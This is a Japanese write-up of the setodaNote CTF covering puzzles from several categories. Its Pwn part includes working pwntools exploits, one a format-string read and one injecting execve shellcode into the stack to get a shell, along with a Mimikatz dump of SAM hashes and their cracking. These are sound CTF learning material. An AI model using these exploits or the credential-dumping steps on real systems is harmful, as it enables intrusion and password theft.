setodaNoteCTF write-up（正解者100人未満の問題だけ）

https://ctf.setodanote.net/

70問全問解いて3位。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/fd2d9b43-2c2a-028e-0d83-68da988a4893.png)

![ctf.setodanote.net_challenges(capture (1280)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/575a0d14-4ccf-4c62-8b24-f8bf31026a9f.png)

![ctf.setodanote.net_users_166(capture (1280)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/12adf342-3380-7245-52cb-67b3b66cede8.png)

全部はつらいので、一部の問題だけ書く。100人以上も解いていれば、きっと誰かがwrite-upを書いているでしょう。

## Misc

### Thank_you_for_playing (0 pts, 12 solves)

他の全問題を解くと、この問題が出現。制作過程の動画が見られる。これ楽しい。最後にロゴがちょっと変化してフラグになる。

`flag{setodaNote_CTF}`

### strong_password (250 pts, 83 solves)

とある部署では、パスワードが

```
[案件コード] + [記号１] + [年月日] + [記号２]
```

というルールで作られるらしい。ダメでしょ。記号は6種類、案件コードは英大文字小文字3文字。ということで、「年月日」1年あたり、$26^3\times 6 \times 365 \times 6=230,948,640$通り。ちょっと多いが全探索できなくはない。

```solve.py
import zipfile
import string

z = zipfile.ZipFile("TopSecret.zip")
for e in range(2000, 2022)[::-1]:
  e = "%04d"%e
  for a in string.ascii_letters:
    for b in string.ascii_letters:
      for c in string.ascii_letters:
        for d in "@#$%!-":
          for f in range(1, 13):
            f = "%02d"%f
            for g in range(1, 32):
              g = "%02d"%g
              for h in "@#$%!-":
                try:
                  p = (a+b+c+d+e+f+g+h).encode()
                  z.open("TopSecret.txt", pwd=p).read()
                  print(p)
                  exit()
                except:
                  pass
```

「年」は2021年から過去に遡るようにした。

たしか、夜寝ている間に終わった感じだったと思う。Pythonのzipfileライブラリではなく、何か専用のツールとかを使えばもっと速いはず。

パスワードは `b'qYL%20210228!'`。

`flag{And_n0w_h3re_is_my_s3cre7}`

## Network

### yes_you_can (160 pts, 68 solves)

問題はこんなファイル。

```dump.log
(1628245600.155918) vcan0 095#800007F400000017
(1628245600.157006) vcan0 1A4#000000080000003E
(1628245600.157018) vcan0 1AA#7FFF00000000673F
(1628245600.157020) vcan0 1B0#000F0000000175
(1628245600.157023) vcan0 1D0#000000000000000A
(1628245600.158095) vcan0 166#D0320027
(1628245600.160232) vcan0 158#0000000000000028
 :
```

CANとは車の[Controller Area Network](https://ja.wikipedia.org/wiki/Controller_Area_Network)である。ついこの前話題になっていた。

https://www.tokyo-np.co.jp/article/127991

しかし、これ、車によってデータの扱いは全然違うらしいし、車種も分からないと何とも……。

解析するには、[SavvyCAN](https://www.savvycan.com/)とういツールが定番らしい。眺めていたら、0x244の3バイト目がいかにもASCII文字っぽくて怪しかった。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/17899d53-5592-804c-c635-559d7f728fb5.png)

```solve.py
B = b""
for l in open("dump.log"):
  if l[26:29]=="244":
    b = bytes.fromhex(l[36:38])
    if len(B)==0 or B[-1]!=b[0]:
      B += b
print(B)
```

同じ文字が重複するので、そこは除去。

```
>py solve.py
b'\x01flag{can_bus_hacking}\x01'
```

`flag{can_bus_hacking}`

### tkys_not_enough (250 pts, 80 solves)

> せっかく内偵中の後輩から通信データが送られてきたのに。いわく決定的な証拠を掴んだとのことですが、普段とは異なる方法で取得したデータなのか解析ツールにうまく取り込めません。

問題ファイルは、tkys_not_enough.pcap。でもWiresharkで開けない。

中に「NDIS Capture」という文字列がある。Windows用のパケットキャプチャツールらしい。Microsoftがpcapngへの変換ツールを配布していた。

https://github.com/microsoft/etl2pcapng

あとはWiresharkで開いて、ポート500をHTTPとしてデコードすれば読める。

`flag{netw0rk_shell_2000}`

## Web

全問100人以上解いていた。

## OSINT

### N-th_prime (200 pts, 41 solves)

> 電車の中で誰かの会話が聞こえてきます。
> 「巨大な素数の秘密を知っているか兄者」「知っているとも弟者。巨大な素数は秘密を守る要なのさ」「兄者、1番目の素数は？」「2 だ」「2番目の素数は？」「3 だ」「数え上げて 72057594037927936 番目の素数は？」「・・・」「兄者マテッ！ときに落ち着けって！」
> 数え上げて 72057594037927936 番目の素数をフラグ形式で答えてください。例えば 11 だった場合は `flag{11}` と答えてください。

72057594037927936は $2^{56}$ 。「普通には解けないよなぁ……。OSINTカテゴリなのはいったい……」と悩んだけど、

https://github.com/kimwalisch/primecount

でご家庭のPCでも普通に解けた。解けるんだ。

```
$ ./primecount 72057594037927936 --nth-prime --threads=4
2991614170035124397
```

`flag{2991614170035124397}`

### identify_the_source (250 pts, 67 solves)

> 組織はある攻撃者グループの動向を調査しています。あなたは旧知の情報提供者からその攻撃者グループが攻撃に利用しようとしているというファイルを入手することに成功しました。情報提供者はファイルの配布元URLの情報も持っているようですが、そちらの情報を入手するためには高額な対価が必要となりそうです。あなたが自由にできる予算は限られています。巧みな話術でどうやらあるマルウェア解析サイトから取得した情報であるようだというところまでは聞き出せました。組織はあなたに配布元URLを特定し、攻撃を未然に防ぐとともに攻撃者グループに関する重要な情報が含まれていないか調査するよう指示を出しました。

配布されたファイルはバイナリで末尾に

> The flag was written on a website where you would have been able to download this file.

という文章がある。`URUTSURUTSURUTSURUTSU...`というデータがファイルのあちこちに見える。とりあえず`TSURU`とxorを取ってみると、動作するELFファイルになる。

ここで悩んだが、（末尾の文章と`00 00 00 ...`を削って）復号したファイルのハッシュ値を https://www.hybrid-analysis.com/ で検索すると何か出てくる。

https://www.hybrid-analysis.com/sample/64f10be20a97f7d25fd23d48e563cc391c54882c97d1c232832ea6beb61ca1da

> Additional Context
> Related Sandbox Artifacts
> Associated URLs
hxxps://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net/tsuru

hxxpsをhttpsに直して開く。

https://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net/tsuru

> 404 Not Found
> nice try!

nice try!と出てくるから道は間違っていないのでしょう。

トップページへ。

https://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net/

「NO DATA」……かと思ったけど、末尾に「The flag is no longer here.」

```index.html
 :
    <br />
    <p deleteTime="1626307200">The flag is no longer here.</p>
    </body>
</html>
```

1626307200は2021-07-15 09:00:00。

ウェブ魚拓がいっぱい取られている。

https://megalodon.jp/?url=https%3A%2F%2Fyrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net%3A443%2F&all=1

https://megalodon.jp/2021-0715-0041-19/https://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net:443/

`flag{No_one_cares_the_bomb_that_didn't_go_off}`

### secret_operation (300 pts, 39 solves)

問題はこの画像ファイル。

![operation-sculd.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/fd09d626-675c-9806-d9af-d5d1e9d2d866.jpeg)

https://green-pond-97ff.setodanote.net/ を普通に開くとこうなる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/b9baf765-1a3b-c1e4-4c43-0a630c2e4928.png)

ロシアのウェブプロキシを通すとこうなる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/1c05e226-7584-0d50-f0f7-aa6171b1c985.png)

リンク先は、BASIC認証が掛かっていて開けない。

https://billowing-poetry-3254.setodanote.net/

https://twitter.com/aarron142857 の「いいね」を漁ると、このツイートを「いいね」していた。

<blockquote class="twitter-tweet"><p lang="en" dir="ltr">I found a way to stuff up to ~3MB of data inside a PNG file on twitter. This is even better than my previous JPEG ICC technique, since the inserted data is contiguous.<br><br>The source code is available in the ZIP/PNG file attached: <a href="https://t.co/zEOl2zJYRC">pic.twitter.com/zEOl2zJYRC</a></p>&mdash; Dаvіd Вucһаnаn (@David3141593) <a href="https://twitter.com/David3141593/status/1371974874856587268?ref_src=twsrc%5Etfw">March 17, 2021</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

え、そんなことできるんだ。ということで、このツイートの画像の拡張子を.zipに変えると、

<blockquote class="twitter-tweet"><p lang="en" dir="ltr">One afternoon <a href="https://t.co/Dc0EZGf25z">pic.twitter.com/Dc0EZGf25z</a></p>&mdash; aarron (@aarron142857) <a href="https://twitter.com/aarron142857/status/1411688065207132165?ref_src=twsrc%5Etfw">July 4, 2021</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

中にパスワードの書かれたPNG画像が入っている。

![YXV0aC5wbmc.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/fbfd9923-6eb1-cb3f-6cfa-ac89b0265442.png)

IDは「J.S」。これで上記のサイトにログインするとフラグが出てくる。

`flag{=we_can_change_tomorrow=}`

## Crypto

### WEARECIA (300 pts, 76 solves)

WEARECIAは、We are CIA。ググっているとこれが出てくる。へぇー。

https://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%B9

ヴィジュネル暗号だけれど、`ABCDEFGHIJKLMNOPQRSTUVWXYZ`ではなく、キーワードの`KRYPTOS`を先頭に持ってきた`KRYPTOSABCDEFGHIJLMNQUVWXZ`を使うのが特殊。あとは良く見ると、問題の暗号文の先頭は、クリプトスと同じなので、鍵はWikipediaに書かれている`PALIMPSEST`。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/fd9e80f1-5c68-1d68-3d08-8bc2b6c1fbce.png)

https://www.dcode.fr/vigenere-cipher

> BETWEEN SUBTLE SHADING AND THE ABSENCE OF LIGHT LIES THE NUANCE OF IQLUSION FLAG IS WE ARE THE NATIONS FIRST LINE OF DEFENSE

`flag{WEARETHENATIONSFIRSTLINEOFDEFENSE}`

## Rev

### to_analyze (200 pts, 82 solves)

[x64dbg](https://x64dbg.com/)で解析すると、C:\Users\321txt というフォルダがあれば良いっぽい。

```
>to_analyze.exe
Yes, that's the right answer.

flag{Do_y0u_Kn0w_Ursnif?}
```

`flag{Do_y0u_Kn0w_Ursnif?}`

## Forensics

### TITLE (120 pts, 25 solves)

問題の画像はこれ。

![lo3rs1tkd.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/c0576732-aba2-7989-2a93-1b3037aa2d1f.jpeg)

画像の高さを書き換えるとこう。

![lo3rs1tkd2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/3d5eb4af-7aed-fbd8-d72e-485a8b63fae5.jpeg)

画像処理ソフトで適当に色調を編集。

![lo3rs1tkd3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/30e4c1fe-5a3e-6bfb-b486-0e4d6bb09c35.png)

```read.py
from PIL import Image

im = Image.open("lo3rs1tkd3.png")

for x in range(29):
  l = ""
  for y in range(26):
    if im.getpixel((975+10*x, 965+10*y))[0]<128:
      l += "#"
    else:
      l += " "
  print(l)
```

上3行は、画像処理を頑張るよりも手作業のほうが速い。

```qr.txt
             ### ##          
               #  # #        
             #   ###         
           ##  ## #          
           ##  ##            
            ### ### #        
            # # # # #        
             #    ##         
           ### ##  # ####  ##
            #   # ### ## #  #
         ## ### ## #  ##    #
          ### ###  # # # # # 
         ##  ## # ##  #    ##
         ##  ##   #### #  # #
         # #   # ###   ##   #
         #   #  #   #### #   
           ###    ### #   #  
            #  ## #####   # #
         #  ######### ### # #
         # ## #    #### #   #
        ###  ## ##  #####   #
        # #  ###### #   #   #
           #   #    # # ### #
        # #  # #  ###   ## # 
         ##### ##  ######  ##
         ## #  ###      ##  #
        ##  #### #  #   # ###
        ##### # # ###  ###   
####### ##   ###    # #   # #
```

あとは[strong-qr-decoder](https://github.com/waidotto/strong-qr-decoder)に投げる。

```
$ for e in $(seq 0 3); do for m in $(seq 0 7); do python2 sqrd.py -e $e -m $m qr.txt; done; done
Traceback (most recent call last):
  File "sqrd.py", line 1024, in <module>
    num = int(data_bits[:10], 2)
ValueError: invalid literal for int() with base 2: ''
flag{Y0u_h4ve_w1tnessed_t00_much}
error: 未対応のモード指示子です
error: 未対応のモード指示子です
 :
```

`flag{Y0u_h4ve_w1tnessed_t00_much}`

### CSIRT_asks_you_01 (150 pts, 99 solves)

> 組織内のインシデント対応部署から急ぎ解析してほしいとの依頼が舞い込みました。不正侵入が確認された端末の Windows イベントログの調査で、状況把握のために侵害に関する詳細な日時を確認してほしいということのようです。
> 今回のあなたの仕事は送られてきたファイルを解析し、不正な方法によってネットワーク経由のログインが成功したことを示している最初の記録日時（TimeCreated SystemTime） と Event ID を特定することです。

イベントビューアーで開くと、ログインを大量に試行されている時間帯がある。「成功の監査」でフィルタして、その時間帯のものを探した。

`flag{2021/07/18_20:09:21_4624}`

### unallocated_space (150 pts, 97 solves)

ディスクイメージからフラグを探せという問題。FTK Imagerで開いても何も出てこない。

バイナリエディタで眺めていたらMP4っぽいものがあったので、0x398000バイト目以降を切り出したら、再生ができた。断片化されていなくて良かった。

`flag{file_carving_gogo}`

### CSIRT_asks_you_02 (200 pts, 62 solves)

ダンプされたSAMとかからのWindowsパスワードの解析。[Ophcrack](https://ophcrack.sourceforge.io/)に投げるだけだよね……と思ったけど、ダメ。

最近のWindowsはパスワードの扱い方が変わったらしい。

https://security.stackexchange.com/questions/157922/how-are-windows-10-hashes-stored-if-the-account-is-setup-using-a-microsoft-accou

このスレッドで説明されているように、[Mimikatz](https://www.offensive-security.com/metasploit-unleashed/Mimikatz/)を使った。

```
>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::sam /system:SYSTEM /sam:SAM
Domain : STELLA-PC
SysKey : c2f71c8a15cee734ce4ab65b3e9da4e1
Local SID : S-1-5-21-3590118637-3649102893-3870174881
 :
RID  : 000003ea (1002)
User : test
  Hash NTLM: 3c99b8901b00758369f18b9df72012c8
 :
```

OpcrackのLoad → Single hashで、`:3c99b8901b00758369f18b9df72012c8`を追加。NT Hashのほうにハッシュ値が入るのが正しい。解析すると、パスワードは`testtest`。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/85caf158-29ff-2d3c-dfd3-263aa2c73124.png)

`flag{test_testtest}`

## Pwn

### 1989 (200 pts, 81 solves)

```
user@1837ac872f6d:~$ nc 10.1.1.10 13030
===========================================================
   _______          ________            __ ____  _  _   
  / ____\ \        / /  ____|          /_ |___ \| || |  
 | |     \ \  /\  / /| |__     ______   | | __) | || |_ 
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |  
  \_____|   \/  \/   |______|           |_|____/   |_|  
                                                        
========================================================== 

        | 
flag    | [0x56617060] >> flag is here << 
        | 

Ready > %x
Your Inpur : ff916f20
```

書式指定文字列攻撃で、指定されたアドレスの文字列を読めという問題。PIEが有効なのでアドレスは毎回変わる。

ソースコードもバイナリも提供されないが、何とかなる。

```
Ready > %p %p %p %p %p %p %p %p
Your Inpur : 0xff9060d0 0xff9064d8 0x565c8306 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070
```

`25207025` = `"% p%"`なので、バッファの先頭は4番目の引数にあたる。バッファの先頭にアドレスを書いて、`%4$s`で指定すれば良い。

```attack.py
from pwn import *

s = remote("10.1.1.10", 13030)
s.readuntil("0x")
a = int(s.read(8).decode(), 16)
s.sendlineafter(" > ", pack(a)+b"%4$s")
print(s.readline())
```

```
user@1d008fc9c7e9:~$ python3 attack.py 
[+] Opening connection to 10.1.1.10 on port 13030: Done
b'Your Inpur : `\xb0XVflag{Homenum_Revelio_1989}\n'
[*] Closed connection to 10.1.1.10 port 13030
```

`flag{Homenum_Revelio_1989}`

### Shellcode (300 pts, 51 solves)

スタックが実行可能でバッファのアドレスを教えてくれるので、リターンアドレスにバッファのアドレスを書いて実行するやつができる。

```attack.py
from pwn import *

context.arch = "amd64"

s = remote("10.1.1.10", 13050)

s.readuntil("0x")
a = int(s.read(12), 16)

# http://shell-storm.org/shellcode/files/shellcode-806.php
payload = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = payload.ljust(0x58) + pack(a)
s.sendlineafter("> ", payload)

s.interactive()
```

```
user@1d008fc9c7e9:~$ python3 attack.py
[+] Opening connection to 10.1.1.10 on port 13050: Done
[*] Switching to interactive mode
1\xc0H\xbbѝ\x96\x91Ќ\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f                                                             \x80\xcck\xee\xf
$ ls -al
total 56
drwxr-xr-x   1 root root 4096 Aug 12 15:08 .
drwxr-xr-x   1 root root 4096 Aug 12 15:08 ..
-rwxr-xr-x   1 root root    0 Aug 12 15:08 .dockerenv
 :
$ cd home
$ ls -al
total 12
drwxr-xr-x 1 root root 4096 Aug 12 15:00 .
drwxr-xr-x 1 root root 4096 Aug 12 15:08 ..
drwxr-xr-x 1 root user 4096 Aug 12 15:00 user
$ cd user
$ ls -al
total 32
drwxr-xr-x 1 root user  4096 Aug 12 15:00 .
drwxr-xr-x 1 root root  4096 Aug 12 15:00 ..
-r--r--r-- 1 root user    80 Aug 12 14:31 flag
-r-xr-xr-x 1 root user 16816 Aug 12 14:31 shellcode
$ cat flag
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
```

`flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}`